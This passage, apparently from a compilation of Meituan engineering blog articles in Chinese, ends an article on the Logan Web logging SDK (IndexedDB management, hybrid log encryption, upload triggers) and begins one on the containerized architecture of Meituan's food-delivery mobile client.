作，并不直接提供 API 对多表的数据进行添加或者删除的原子性操作（要么全部生
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效，要么全不生效）。Logan DB 的库表结构涉及到两张表数据间的联动，需要多表

间原子性增删来保证日志数据在两张表间保持一致。

3.2.2	idb-managed	的解决手段

为了统一解决以上在使用 IndexedDB 时面临的困扰，我们额外封装了 idb-man-

aged 包，该包随着 Logan Web 一起开源。

idb-managed 中分别针对：

 ● 问题 1 与 2：提出并实现了 DB Manager 机制来解决 DB 版本升级与数据获

取的困境。

 ● 问题 3：封装了对存储数据的时效设置、过期处理逻辑。

 ● 问题 4：利用事务回滚方法实现在多表内的原子性增删操作。

（1）DB Manager 机制

idb-managed 中内建了一个 DB Manager 来管理当前所有本域下的 DB 版本与库

表结构信息，其实 DB Manager 自身就是一个版本号固化的 DB，它本身不存在升

级问题。建立链接示意图如下：

当对一个新 DB 建立连接时，会将脚本中设置的 DB 版本及库表信息注册到 DB 

Manager 中并把数据存储下来。下一次如果有该 DB 的低版本尝试连接时，DB 

Manager 会用当前已注册的库表信息连接并打开 DB，由此避免了 DB 升级而导致

连接低版本失败的问题。
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同时，因为有 DB Manager 来统一管理本地的 DB 信息，所以从 DB 获取数据可以无需知

晓 DB 库表结构，只需要 DB 名和表名即可。当本地库表不存在时，DB Manager 会阻止

对该 DB 的连接，直接返回空数据，避免了错误的库表结构污染本地 DB。

（2）数据时效控制

idb-managed 会为每张表建立一个到期时间索引，开发者可对单条数据、单个表或

者单个库设置一个持久化时间限制，在数据存储时 idb-managed 会根据这些限制

及优先级顺序（单条 > 单表 > 单库）计算该条数据的到期时间，并与数据一起保存下

来，过期的数据会在该表下一次添加数据时先行删除。

（3）多表间原子性增删操作

IndexedDB 中 数 据 的 增 删 操 作 全 部 建 立 在 事 务（IDBTransaction）基 础 之 上，

idb-managed 封装了多表批量数据的增删操作接口，并将这些操作包裹在一次事务

内。如果在一次事务中发生异常，idb-managed 将执行本次事务的回滚，从而保证

这批操作具有原子性。

3.3	日志加密方案：混合加密

混合加密方式吸取了对称加密与非对称加密各自的优势：

 ● 对称加密：保证对长内容加密的效率。

 ● 非对称加密：保证对称密钥的安全性。

Logan Web 选择了 AES-128-CTR 结合 RSA-1024 的混合加密模式。在存储每

条具有私密性的日志前都会经历以下加密流程：

a. 准备对称密钥与初始向量：随机产生 AES 对称密钥 AES Key 及初始向量 IV。

b. 对称加密：使用 AES Key 及 IV 对日志明文进行 AES-CTR 对称加密，得

到日志密文。

c. 非对称加密 AES Key：使用 RSA 公钥对 AES Key 进行非对称加密，得到 

AES Key 密文。该 RSA 公钥与服务器端的私钥是成套的，只有该私钥可以
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解开该 AES Key 密文，从而解开日志密文。

d. 包装数据：将以上初始向量、日志密文与 AES Key 密文包装成一条日志对

象，随后存储落地。

3.4	上报的触发机制

用户端的日志上报触发机制一般分为两大类：

 ● 用户主动触发。优点是上报的日志能够对应到用户反馈的个案；缺点是存在交

互上的用户教育成本，同时依赖用户反馈的异常处理流程，过于滞后。

 ● 代码层面触发。优点是用户无需感知上报流程；缺点是可能存在大量“无帮助”

的上报日志，需要对触发条件做好频率控制。

Logan Web 在两类方式上提供了配置与接口，供 SDK 使用方自行选择与扩展，

例如：
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（1）用户主动触发

 ● PC	端：Logan Web 在美团点评内实践时，为业务方提供了 DOM 元素配置

项，用于 Logan Web 绑定触发上报的钩子函数。

 ● H5	手机端：Logan Web 可扩展内置设备摇动检测，利用浏览器的 Device-

MotionEvent 事件监听，当用户“摇一摇”时，引导上报流程的美团卡通形象

会出现在页面侧栏，如下图所示。

 ● 通用：Logan Web 在美团点评内扩展提供了接口供业务方显示或者隐藏引导

上报流程的侧栏。

（2）代码层面触发

考虑到用户主动触发方式存在的弊端，Logan Web 提供了上报接口供使用者在代

码层面调用。另外 Logan Web 也正在迭代实现内部的代码触发上报逻辑，提供在 

Web 端内异常发生等特定场景下主动上报日志的能力。

4. Logan Web 在美团点评内的实践

Logan Web 已在美团内部上线，并持续迭代了一年多的时间，覆盖公司很多主要的
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业务线。截止 2019 年 11 月，公司内使用 Logan Web 的页面 PV 量已达日均 1.5 

亿余次，Web 上报日志量达日均 500 余次，约 97% 上报的 Web 日志在 Logan 

日志分析平台上被公司研发同学搜索查阅。利用 Logan 日志系统，公司各研发团

队已能够尽早获得完整的用户端日志流及环境信息，帮助业务及时排查问题并响应

用户反馈。

另外，在美团，Logan Web 除了提供上文介绍的技术实现之外，还利用美团内部的

通用 JS 桥组件实现了与 Logan 客户端日志的打通，如下图流程所示：

这意味着在美团现有的 App 环境（如美团 App、点评 App 等）中运行的 H5 页面

如果使用了 Logan Web，所记录的日志会利用 JS 桥传给 Logan 客户端，与客户端

日志一起落地在 App 本地文件中。因此在美团的 App 环境内上报的日志流中可查看

上下文连续的 Web 端日志与客户端日志，日志分析平台展示的某篇日志详情示意图

如下：
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5. Logan 开源进展与未来规划

在 Logan Web 开源前，我们在美团 Logan 开源技术交流群中进行了开发者需求调

研，依据收集到的建议，Logan Web 这次开源版本将支持 TypeScript，同时提供了

本地日志的加密策略选择。开源的代码及使用文档可在 Meituan-Dianping/Logan/

WebSDK 仓库下查阅，开发者也可以在项目中直接通过 npm 包引入的方式引入 

logan-web。同时 Logan Web 底层依赖的 idb-managed 也已在 GitHub 与 npm 

仓库开源。

随着本次 Logan Web 同时开源的还有 Logan 服务端与 Logan 日志分析平台的实

现，读者可一并在 Logan 代码仓库 下找到相应的代码和使用文档。客户端 SDK 的

实现博客可点击参考：《美团点评移动端基础日志库——Logan》。

https://github.com/Meituan-Dianping/Logan/tree/master/Logan/WebSDK
https://github.com/Meituan-Dianping/Logan/tree/master/Logan/WebSDK
https://www.npmjs.com/package/logan-web
https://github.com/sylvia1106/idb-managed
https://github.com/Meituan-Dianping/Logan/tree/master/Logan
https://tech.meituan.com/2018/02/11/logan.html
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目前 Logan 已开源了客户端 SDK、Web 端 SDK、服务端及日志分析平台，已经为

社区开发者们提供了初步完善的整套 Logan 日志系统实现。在未来我们将继续优化

扩展 Logan 能力，帮助开发者们在各端环境中，都能更快更早更方便地定位问题及

排除异常。

6. 联系我们

本次开源只是 Logan 贡献社区的一小步，我们希望在未来 Logan 能够为社区提供更

完整可靠的大前端日志服务，我们诚挚地欢迎开发者向我们提出宝贵的建议，与我们

共建社区。您可以挑选以下方式向我们反馈建议和问题：

 ● 在 github.com/Meituan-Dianping/Logan 提交 PR 或者 Issue。

 ● 微信添加 MTDPtech03，该美团助手可邀请您加入美团 Logan 开源技术交流

微信群，或者回复您的建议。

 ● 邮件发送至 edp.bfe.opensource@meituan.com。

https://github.com/Meituan-Dianping/Logan
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7. 作者简介
孙懿，美团点评基础技术部前端技术中心资深工程师。

8. 招聘信息
美团点评基础技术部前端技术中心负责美团云平台运维领域的前端基础研发工作，包含前端监

控、日志系统、长连通信、运维工具等基础建设。欢迎各路英雄扫码投递简历，我们满心期待

您的加入。感兴趣的同学可将简历投递至：tech@meituan.com（邮件标题注明：基础技术部前

端技术中心）。
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外卖客户端容器化架构的演进

作者：郭赛　同同　徐宏

1. 背景

1.1	移动端跨平台技术的介绍

移 动 端 的 跨 平 台 技 术 不 是 一 个 新 话 题， 早 在 几 年 前，WebView 容 器、React 

Native、Weex、Flutter、小程序等移动端跨平台框架就风起云涌。为什么跨平台这

么有吸引力呢？我们设想一下如果可以做到一次开发，多端复用，那么对于公司来

说，就可以降低用人成本。对于开发来说，只需要学习一个框架，就可以在 Android

和 iOS 双平台上开发。节约下来的成本，可以投入到产品快速验证、快速上线。这对

所有人来说都有着极大的吸引力。本节先针对部分移动端跨平台技术进行一些简要的

介绍，以便读者能够更好地理解后面的内容。

1.1.1	WebView容器

WebView 容器的工作原理是基于 Web 技术来实现界面和功能，通过将原生的接

口封装、暴露给 JavaScript 调用，JavaScript 编写的页面可以运行在系统自带的

WebView 中。这样做的优势是，对于前端开发者比较友好，可以很快地实现页面跨

端，同时保留调用原生的能力，通过搭建桥接层和原生能力打通。但这种设计，跨端

的能力受限于桥接层，当调用之前没有的原生能力时，就需要增加桥。另外，浏览器

内核的渲染独立于系统组件，无法保证原生体验，渲染的效果会差不少。
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1.1.2	React	Native

2015 年，Facebook 推出了 React Native，一经推出就备受关注。它的思路是最大化

地复用前端的生态和 Native 的生态，和 WebView 容器的最大区别在于 View 的渲染体

系。React Native 抛弃了低效的浏览器内核渲染，转而使用自己的 DSL 生成中间格式，

然后映射到对应的平台，渲染成平台的组件。相对 WebView 容器，体验会有一定的

提升。不过，渲染时需要 JavaScript 和原生之间通信，在有些场景可能会导致卡顿。

另外就是，渲染还是在 Native 层，要求开发人员对 Native 有一定的熟悉度。
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1.1.3	Flutter

2018 年 Google 推出 Flutter，通过 Dart 语言构建一套跨平台的开发组件，所有

组件基于 Skia 引擎自绘，在性能上可以和 Native 平台的 View 相媲美。Flutter 站

在前人的肩膀上，参考了 React 的状态管理、Web 的自绘制 UI、React Native

的 HotReload 等特点，同时考虑了与 Native 通信的 Channel 机制、自渲染、完

备的开发工具链。Flutter 与上述 Recat Native、WebView 容器本质上都是不同

的，它没有使用 WebView、JavaScript 解释器或者系统平台自带的原生控件，而

是有一套自己专属的 Widget，底层渲染使用自身的高性能 C/C++ 引擎自绘。但大

部分移动端发展到今天，都已经形成了自己的架构，在现有基础上加上 Flutter，会

形成原有架构和 Flutter 双平台共存的问题。目前，对新的 App 来说，是最被看好

的跨端方案。

1.2	美团外卖业务介绍

作为中国领先的生活服务电子商务平台，美团致力于用科技连接消费者和商家，提

供服务以满足人们日常“吃”的需求，并进一步扩展至多种生活和旅游服务。而作

为公司最为重要的业务之一，美团外卖从 2013 年创建以来，已经从单一的品类扩
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展到附近美食、水果、蔬菜、超市、鲜花、蛋糕等多品类，从早午晚餐，发展到下

午茶、宵夜，中餐、西餐、家常菜、小吃、快餐、海鲜、火锅、川菜、蛋糕、烤肉、

水果、饮料、甜点等多种类餐饮。美团外卖可以说是当前电商领域，最为复杂的业

务之一。

业务的复杂，给系统架构也带来了不小的挑战。美团外卖业务之所以说是当前电商领

域最为复杂的业务，主要源于以下几点特征：

 ● 美团外卖业务承载在三个 App 上，美团外卖 App、美团 App 外卖频道、点评

App 外卖频道。

 ● 美团外卖作为美团公司重要的用户入口，还承担着流量平台的作用，提供平台

能力支撑频道业务的发展，如闪购、跑腿、金融等。

 ● 美团外卖作为已经成熟的业务，需提供可复用的平台能力，支撑新业务的发

展，例如菜大全 App 的发展。

 ● 美团外卖作为一个超级业务方，业务内又运营多个方向业务，如流量业务、交

易业务、商家业务、商品业务、营销业务、广告业务等。

综上所述，可以发现美团外卖不仅仅自身业务比较复杂，而且对外的角色也很复杂。

在美团内部，外卖不仅仅是美团平台的一个频道业务，而且自己本身也是一个平台业

务，同时美团外卖还承担着新业务发展的平台角色。这意味着想要支持好美团外卖业

务的发展是一件非常有挑战的事情。

1.3	美团外卖移动端历史架构概述

好的架构源于不停地衍变而非设计。美团外卖的架构，历史上也是经历了很多次迭

代。由于外卖业务形态不断地发生变化，原有的设计也需要不断地跟随业务形态进行

演进。在不断探索和实践过程中，我们经历了若干个大的架构变迁。从考虑如何高效

地复用代码支持外卖 App，逐渐地衍变成如何去解决多端代码复用问题，再从多端的

代码复用到支持其他频道业务的平台架构上。在平台化架构建设完成后，我们又开始

尝试利用动态化技术去支持业务快速上线的诉求。如今，我们面临着多端复用、平台
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能力、平台支撑、单页面多业务团队、业务动态诉求强等多个业务场景问题。下文我

们针对美团外卖移动端架构的变迁史，做一些简单的概述，以便读者阅读本文时能有

更好的延续性。

1.3.1	组件化架构

早期阶段，美团外卖作为公司的一个孵化业务，在 2013 年底完成了美团外卖 App

的 1.0 版本。随着外卖业务的验证成功和跑通，订单量也快速增长，在 2014 年底突

破了日订单量 100 万。随后在 2015 年 2 月，外卖以 Native 的形式接入美团 App，

成为美团 App 的一个业务频道。在接入过程中，我们从美团外卖 App 拷贝了大量的

代码到美团 App 的外卖频道，两个 App 上的外卖业务代码也分别由两个独立的团队

维护。早期外卖业务变化快，App 迭代频繁，写代码的方式也比较粗放，同时美团

App 也处在一个平台化转变的时期，代码的稳定性和质量都在变化和提升当中。这

些因素导致了外卖代码内各子系统之间耦合严重，边界模糊，“你中有我，我中有你”

的情况随处可见。这对代码质量、功能扩展以及开发效率都造成很大的影响。此时，

我们架构重构的目的，就是希望将各个子系统划分为相对独立的组件，建设组件可以

直接复用，架构如下图所示：
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1.3.2	平台化架构

如上文所述，大家可以知道美团外卖和美团外卖频道是由不同的团队在维护发展。

2015 年，公司考虑到业务发展的一致性，将美团外卖频道团队正式归于美团外卖。

从组织架构上来说，美团外卖和美团外卖频道，逐渐融合成一个团队，但是两端的

差异性，导致我们不得不仍然阶段性地维持原有的两班人马，各自去维护独立外卖

App 和美团外卖频道。如何解决这个问题？两端代码复用看起来是唯一的途径。另

外，随着业务的快速发展，外卖 App 所承载的业务模块越来越多，产品功能越来越

复杂，团队规模也越来越大，如闪购、跑腿等业务想以独立的 Native 包的形态接入

外卖 App，还有外卖的异地研发团队的建立，都带来了挑战。这使得我们在 2017 年

开始了第二次架构重构——平台化架构，目标是希望能够支持多端复用和支持不同团

队的业务发展。通过抽象出平台能力层、业务解耦、建立壳容器，最终实现了平台化

架构，架构如下图所示：

1.3.3	RN混合架构

在平台化架构之后，美团外卖功能持续增加，美团外卖客户端安装包的体积也在持

续增加。回顾 2017 年和 2018 年，每年几乎都增长 100%。如果没有一个有效的手
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段，安装包将变得越发臃肿。另外，由于原生应用需要依托于应用市场进行更新，每

次产品的更新，必须依赖用户的主动更新，使得版本的迭代周期很长。业务上的这些

痛点，不断地督促我们去反思到底有没有一种框架可以解决这些问题。

在 2015 年的时候，Facebook 发布了非常具有颠覆性的 React Native 框架，简称

RN。从名字上看，就可以清楚的明白，这是混合式开发模式，RN 使用 Native 来渲

染，JS 来编码，从而实现了跨平台开发、快速编译、快速发布、高效渲染和布局。

RN 作为一种跨平台的移动应用开发框架，它的特性非常符合我们的诉求。美团也积

极的探索 RN 技术。在 RN 的基础上，美团在脚手架、组件库、预加载、分包构建、

发布运维等方面进行了全面的定制及优化，大幅提升 RN 的开发及发布运维效率，形

成了 MRN（Meituan React Native）技术体系。

从 2018 年开始，美团外卖客户端团队开始尝试使用 MRN 框架来解决业务上的问

题。使用 RN 的另一方面的好处是，能逐渐的抹平 Android 和 iOS 开发技术栈带来

的问题，使用一套代码，两个平台上线，理论上人效可以提升一倍，支持的业务需求

也可以提升一倍，架构如下图所示：
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2. 美团外卖容器化架构全景图

2.1	什么是容器化架构

上文说到，外卖业务已经发展到多 App 复用、单页面多业务团队开发的业务阶段。

要满足这样的业务场景下，寻求一个可持续发展的业务架构是件不容易的事情。经过

我们之前架构演进，我们获得了宝贵的经验：在平台化架构的时候，我们将 App 和业

务进行解耦，将 App 做成壳容器，业务形成独立的业务库，集成到壳容器里面，从

而屏蔽了多 App 的问题，提高了业务的复用度。在 RN 混合式架构里面，我们引入

了 RN 容器，通过这个容器，使得业务屏蔽了 Android 和 iOS 的平台差异。借助这

些成功的经验，我们进一步思考，如果我们尝试进一步的细分外卖的业务场景，将不

同场景下的基础能力建设成壳容器，业务集成到容器内，是否可以更好的支撑我们多

App 复用、单页面多业务团队的当前现状呢？

容器化架构的愿景是：

 ● 希望将前端呈现业务的环境抽象出来，将能力进行标准化，形成统一的容器，

通过容器去屏蔽平台和端的差异。容器提供上层标准统一的能力接口，使得业

务开发人员专注于容器内的业务逻辑的实现，最大复用已有的能力，而不用关注

现在的环境是 Android 还是 iOS，现在的端是美团 App 还是大众点评 App。

 ● 容器和远端达成呈现协议，使得端上的内容具备随时可变化的能力。容器化架

构的实现是存在一定前提的，如果业务的发展本身处在一个探索阶段，还有较

多可变的因素，是无法形成稳定的能力层的，这时候建设容器化架构反而使得

架构偏向复杂。但对于外卖业务场景来说，经过多年的沉淀固定，外卖业务逐

渐形成了一套稳定的业务形态，已经进入到场景细分和快速迭代业务模块的阶

段。在这样的阶段下，容器化架构才有可实施的前提。

2.2	容器化架构的优势

当我们把承载外卖业务的环境进行了抽象和标准化后，就可以获得以下若干点好处。

首先动态化属性提升，我们可以把原有必须在客户端上写的业务放到了远端，业务的

动态性得到很大的提升，具备随时上线业务的可能。对于开发过程而言，编译部署的
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速度也得到了极大提升。如果涉及到客户端的代码改动，那客户端的编译打包，即使

是增量的编译，也至少是秒级的编译速度。而容器化后，我们只打包必要的业务，把

业务动态下发到容器呈现，客户端代码本身不会有变化，这样就可以从秒级的编译减少

到毫秒级的编译。同样，业务动态下发，对减少客户端的包大小也有很大的帮助。

然后，容器位于应用之内，我们向应用中引入相同的容器 SDK，容器屏蔽了应用之

间的差异，对于 Android 和 iOS 平台，在设计上，通过容器这一层去尽可能屏蔽平

台之间的差异，使业务开发人员只需要认识容器，不需要花费大量的精力去关注应用

和平台之间的差异，从而使得开发效率得到了极大的提升。

其次，容器化后，容器对承载的内容是有接口协议要求的，承载的内容只有满足容器定

义的协议才能得到容器带来的好处，这促使业务得到了更细粒度的细分，业务开发时候，

对模块化的意识得到了保障。另外，容器这一层提供的接口在 Android 和 iOS 上是标准

化的，业务的开发也因为依赖的标准化，而趋向标准化，双端的业务一致性得到了提升。

这些潜在的架构好处，对未来的业务维护和扩展都打下了比较好的地基。

2.3	外卖容器化架构全景图
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整个外卖容器化架构可以按照从下到上，从左到右的视角进行解读：

最底层是系统服务，因为我们采用了 H5 和 RN 这样跨端的技术栈，使得 iOS 系统和

Android 系统成为了最底层。

系统服务之上是集团基于 Native 建设的基建，全公司通用，覆盖了研发工程中方方

面面的基础服务。

在基建之上是我们定义的容器层。我们尝试用单一技术栈解决所有问题。但经过我们的

探索，觉得不太可能实现。好的架构要匹配业务形态，业务的诉求决定了我们不能选择

唯一的技术栈去解决所有问题，细分外卖的业务场景可得到以下 3 个方向的页面分类：

 ● 高 PV 主流程页面，例如首页、金刚页、商家页等，这类页面的 PV 远高于其他

页面。这类页面的特点是，交互强、曝光度高、多团队参与建设和维护。针对这

类页面，为了给用户提供极致的体验，是无法采用 H5 或 RN 实现的，即使性能

上能够满足，但是这些页面是多团队共同参与建设，如果用 H5 或 RN 实现，那

么单一团队改动，都会造成全页面受到无法预料的影响，其他未改动的业务方肯

定是无法接受的。所以这类页面，我们采用的是局部动态化 + 页面模块化的方案，

我们针对页面进行容器化改造，将页面变成容器，容器承载模块。每个模块归不

同的业务方进行维护，从模块的维度进行解耦，每个模块都可以动态配置和下发。

 ● 低 PV 辅助页面，例如帮助、足迹、收藏等，这类页面的 PV 低，但胜在数量

多，都用原生实现成本比较高，如果都用 H5 来实现，不少页面和原生的关联

还是比较近，不是非常适合。针对这类页面，我们采用集团提供的 MRN 基建

去承载，MRN 作为跨端的技术栈，我们已经在之前的 RN 混合架构的时候，

建设了较为丰富的组件，针对自定义的 MRN 容器做了比较丰富的建设。同

时，MRN 具备动态下发的能力，满足业务的诉求。

 ● 向外投放的运营活动页面，例如圣诞节活动，时效性比较强。这类页面由 H5

技术栈去完成，一方面可以满足时效性，另一方面 H5 的动态下发能力也是最

强的，这样的特性能够充分的满足业务的诉求。我们使用集团提供的 Titans

基建，通过建设业务自定义的 Titans 容器，支撑业务的发展。
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再往上，就是垂直的业务，外卖目前有流量业务、交易业务、商家业务、商品业务、

广告业务、营销业务、闪购业务等。业务都是垂直向下依赖，直接可见容器，可见基

建，能够很好地获取到各种已经建设的能力去完成业务的需求。

最上面是承载的 App 端，目前有四端，包括外卖、点评、美团、闪购等等。

右侧是测试发布和线上监控，相对于常规的移动端 App 架构而言，容器化架构的测

试发布和监控是更为精细化的。不仅仅要关注端本身的可用性，还需要关注容器、容

器承载的模块、模块展示的模板，模板里面的样式这些的可用性。

2.4	容器化的挑战

容器化架构相对常规的移动端架构而言，它从管理移动端的代码转变成管理移动端的

容器建设代码和业务远端开发代码，多出了容器和业务远端下发。这不仅仅是对技术

上的挑战，对长期做客户端开发同学，也需要一个思维转变的跳转。

一致性的挑战：容器需要在多个宿主应用之中运行，宿主应用的环境一致性直接影响

了容器的一致性。我们的策略是两手准备，一方面利用外卖业务的优势推动宿主应用

的环境对齐；另一方面将容器建设成 SDK，通过 SDK 将长期保持容器的一致性，也

通过 SDK 内部的设计屏蔽应用之间的差异；对于 Android 和 iOS 平台，我们通过分

层的设计，尽可能屏蔽平台的差异。综上所述，一致性的挑战在于（1）容器运行的宿

主应用的环境一致性；（2）不同应用不同版本容器的一致性；（3）Android 和 iOS 平台

容器的对业务的一致性。

动态发布的挑战：长期以来，客户端同学的开发概念里面只有 App 版本的概念，而当

我们逐渐把业务代码做成远端下发时，将会新增一个线上动态发版的概念。当我们在

发布业务的时候，相对以往的工作，多出需要去考虑这个业务的版本，可以运行的容

器对应的 App 上下界版本。另外，发版的周期也会新增业务的发版周期，不仅仅是

App 的发版周期。这两者在一起将会产生新的火花，业务的版本和 App 的版本如何

适配的问题，业务动态发版的周期和 App 的发版周期如何适配的问题。外卖这边的

解决方式是建设主版本迭代 + 周迭代的模型。
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监控运维的挑战：以往的移动端架构，我们更加关注的是端本身的可用性，然而当我

们演进到容器化架构的时候，仅仅关注端的可用性已经远远不能确定业务是可用的

了。我们需要从端的可用性延伸出下载链路、加载链路，使用链路上的可用性，针对

每个重要的环境，都做好监控运维。

3. 外卖跨端容器建设

3.1	MRN容器

3.1.1	MRN容器简介

React Native 框架本身只是一个运行时环境中的渲染引擎，可以将同一套 JS 代码

分别在 Android 和 iOS 系统上最终以 Native 的方式渲染页面，从而为 App 提供

了基础的跨端能力。但从工程化的角度来看，如果想在 App 中大规模地应用 RN 技

术，除了 RN 框架本身外，还需要在开发、构建、测试、部署、运维等诸多方面的

配合。MRN（Meituan React Native）是美团基于 React Native 框架改造并完善

而成的一套动态化方案，在 RN 的基础上提供了容器化能力、动态化能力、多端复

用能力和工程化保障。MRN 在开发效率、稳定性、性能体验、动态化和监控运维

等多方面进行了能力升级和扩展，满足了美团 RN 开发工程化的需要。目前，MRN

已接入美团 40 多个 App，核心框架及生态工具有超过 100 位内部代码贡献者，总

PV 超过 4 亿。
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3.1.2	Roo 组件库

下面再介绍一下外卖建设的两个 UI 相关的技术项目，Roo 组件库和组件样式动态

配置。

 ● Roo组件库：外卖在 RN 及 MRN 框架提供的 UI 组件基础之上，又扩展了适

用于外卖业务的标准化 UI 组件库。UI 组件库一方面统一了我们的设计规范和

开发规范，提高了 UI 一致性；另一方面，组件封装也提升了 RN 页面的开发

效率和质量。

 ● 组件样式动态配置：有了标准的 Roo 组件，我们进一步给标准组件的动态添

加了样式动态配置能力。在使用组件时，很多样式是支持动态下发的，例如字

体、圆角、背景色等，方便我们进行 UI 的适配和改版。

外卖在 2018 年底开始试验 MRN 容器在外卖业务上的应用，并在 2019 年上半年

进行了大面积的页面落地。目前，外卖已有近 60 个 RN 页面上线，占外卖页面比例

超 80%，其中包括 Tab 页面“我的”、提单选择红包页、订单评价页等高 PV 页面。

MRN 容器的接入，给外卖 App 的容器化、动态化、人效提升、包大小瘦身等方面都

做出了不小的贡献。
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3.2	Titans 容器

3.2.1	Titans 容器简介

Titans 容器是美团系 App 统一的 Web 容器组件，基于苹果提供的 WebView 组件，

将 WebView 容器化，统一了 WebView 的 UI 展示和交互方式，规范了桥协议的使

用范式，同时预置了诸多基础能力和业务能力。Titans 容器大大提高了 Web 页面的

开发效率和用户体验上的一致性。

 ● Web容器：Titans 容器提供了统一的 UI 展示和自定义样式，例如导航栏样

式、页面 Loading 状态、进度条样式等；还有统一的交互方式，例如页面跳

转、Scheme 协议的解析等。

 ● KNB统一桥服务：Web 容器虽然在动态化和 Android、iOS 双端复用上很好

地弥补了 Native 的不足，但在很多地方体验上又难以达到 Native 的标准。因

此，KNB 桥应运而生，KNB 定义了 Native 和 JS 通信的标准方式，方便开发

时进行桥协议扩展，同时 KNB 也内置众多的 Native 基础能力，极大地提高了

Titans 容器的用户体验和开发效率。

 ● Web业务增强能力：Titans 容器中预置了丰富的基础业务页面，例如登录页

面、分享弹窗等。

 ● 提供链路增强：提供了长连接、离线化等方式来提高网络请求的速度和成功率。

 ● WebView预加载：在 App 启动之后，用户点击网页入口之前，提前加载好

HTML 主文档和基础库，这样当用户点击页面入口时，App 直接使用已准备
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好的 WebView，仅需加载少量的业务代码。从而达到白屏时间短、加载页面

迅速的效果。

Titans 容器在外卖业务中的使用场景非常丰富，其中最重要的使用场景是各种运营页

和活动页，例如点击首页顶部 Banner 的广告落地页、为你优选、限时秒杀等活动运

营页等；还有客服页、帮助反馈页、商家入驻页、美团公益页等功能性页面；作为一

级入口页面的美团会员页面，也是一个基于 Enlight 的 Titans 容器。

4. 外卖页面容器建设

外卖容器化建设，首先需要要区分的是核心页面和非核心页面。外卖业务中对核心页

面的定义是页面 DAU> 美团 DAU 的 5% 或者是下单关键路径。为什么要先按照是

否为核心页面进行拆分呢？重点就在于改造的成本。核心页面的业务复杂度决定了它

不容易做全页面的动态化，它比较适合做局部的动态化方案。核心页面的复杂度在于

业务本身复杂，最重要的是核心页面往往会有多个垂直业务团队共同的开发维护，大

家各自有重点关注的模块，做全页面的动态化，无法做到有效的物理隔离。

而对于非核心页面，业务功能和交互相对简单，组织关系也较为确定，更适合做标准

的 MRN 和 Titans 容器化。所以我们的策略是核心页面做到支撑页面模块级别的业

务动态和复用，非核心页面可以做到页面级别的动态化和复用。页面容器化的核心含

义就是把一个页面划分为若干个模块，每个模块成为一个业务容器，每个容器的填充

既可以用 Native 的方式实现，也可以用 Mach 实现（Mach 是外卖自研的页面局部

动态化技术），可以支持 iOS/Android/ 小程序三端跨平台运行。页面本身则化身为容

器的管理者，负责子容器的编排和布局，并支持其动态化。
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4.1	页面容器化设计思路

页面容器化设计中主要分为三个阶段，模块有序化、模块编排化、渐进式业务落地。

 ● 模块有序化：将耦合的外卖业务代码按模块维度进行拆分，建立标准化的模块

间组合和交互方案，降低模块内改动对其他模块的影响。这个阶段我们同时完

成了 Native 原生模块和局部动态化模块的标准化改造。

 ● 模块编排化：页面容器化的一个特点是页面具备编排模块的能力，在这个阶段

我们在客户端增加了对业务模块结构编排能力的支持，同时我们跟后端的同

学共建了配置平台，通过配置化的方式打通了 AB 实验平台、统一数据服务等

多个平台。在标准化的数据协议的支撑下，页面支持了 AB 实验动态上线，大

大降低了客户端在 AB 实验方面的开发成本，做到了客户端零成本，后端低成

本，高效地支撑了外卖首页六周年的大改版。

 ● 渐进式业务落地：页面容器化后最明显的收益是支持业务需求的动态上线，只

有页面容器中的业务模块具备动态能力才能实现这个目标，这会涉及 Native

模块迁移为 Mach 模块的过程。在这个方面，我们的思路是跟随业务需求渐进

式落地。在模块编排阶段，我们设计了 Native 模块向 Mach 模块迁移的能力，

同时设计了覆盖模板维度和 API 接口维度的三重降级方案，来保障模块动态化

迁移的稳定性。

4.2	业务构建模块标准化

从 App 页面开发的角度看，一个完整的页面可以按照不同的功能及不同业务属性划

分出多个不同的模块。

业务构建泛指由多个业务模块组合拼装为一个业务页面的过程，涉及页面本身
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（UIViewController/Activity）以及各个业务模块的构造过程，前后端业务数据以及页

面和业务模块之间的数据交互过程，业务模块内部的数据处理以及视图刷新流程。

模块标准化指的将业务构建涉及到的多个过程通过规范化的方式确定下来，形成唯一

的标准。模块标准化一方面能够在解决业务共性问题的基础上提供业务难点专项解

决方案，另一方面能够在框架基础上形成能力约束，减少重复建设、低质量建设的

问题。

业务构建模块标准化中我们抽象了四层，下面将分别进行解读。

 ● 最底层是框架能力层，是外卖业务团队自研的符合外卖业务特点的双端模块化

框架。框架解决了不同页面场景下的共性问题，对典型的业务痛点也进行了支

持。它是一种页面框架设计在 iOS、Android 双端对齐的实现方案，这种双端
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对齐的能力为页面容器化设计的双端一致性提供了保障。

 ● 统一接口层是对框架能力层的标准化抽象，它可以保证任一模块调用的能力在

各个业务场景下的实现都是一致的，有了这一层抽象任一模块都可以直接在各

个场景下复用。

 ● 在往上就是 App 全局的模块复用层，标准化后的模块可以通过唯一标示向模

块复用池注册模块，这种中心化的注册方式可以让业务模块在跨业务库的场景

下可以灵活地复用。

 ● 最上层就是外卖的核心业务场景层，每一个场景都对应了一个标准化的页面容

器，页面容器通过实现容器化接口来完成页面容器的构建。

通过业务构建模块标准化的建设，业务模块已经是标准化的了，可以在跨页面间自由

组合，这为页面容器化打下了基础。

在页面容器化中最基础的能力有以下几点：页面中业务模块可编排能力，动态上线前

端 AB 实验的能力，增量上线动态模块的能力。实现这些能力最重要的就是进行前后

端数据协议标准化建设。客户端根据数据协议中的模块唯一标识匹配并构造业务模

块，在完成模块数据的填充后会根据数据协议中的模块布局信息完成模块的布局。针

对 Mach 动态模块，我们创建了基于模板 ID 的模块匹配和数据填充流程，可以支持

Mach 动态模板的增量上线。在数据协议中针对前端 AB 实验我们预留了 AB 实验和

通参字段，在数据填充阶段通过容器化接口传入动态模块中，用于支持 AB 实验的动

态上线。

在容器化上线的过程中属于接口的大版本升级，为了保证容器的高可用性，客户端从

模块级别和 API 级别实现了两套降级容灾方案。

模块级别的降级方案主要针对 Mach 动态模块，与 Native 模块不同，Mach 动态模

块需要预先下载动态模板才能正常地完成模块的载入和渲染。为了保证动态模块的加

载成功率，我们一方面在接口上线前利用 Eva（美团内部系统）对 Mach 模板的下载

进行预热。另一方面，我们设计了动态模块的主动降级方案，针对动态模块的动态上
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线使用 Native 模块进行兜底降级，对于跟版动态模块使用 App 内置模板的方案进行

兜底降级。

API 级别的容灾方案主要为了保障客户端在新接口不稳定的情况下可以自行降级到旧

接口。针对这个问题，我们对线上老接口设计了数据结构映射方案，在客户端通过配

置化的方式可以把老接口的数据结构映射为新接口的数据结构。这样在上层业务无感

知的情况下，可以做到容灾方案的上下线。

4.3	小结

通过页面容器化，使得页面只需要关心页面级的构造方式，而无需关心某一模块内部

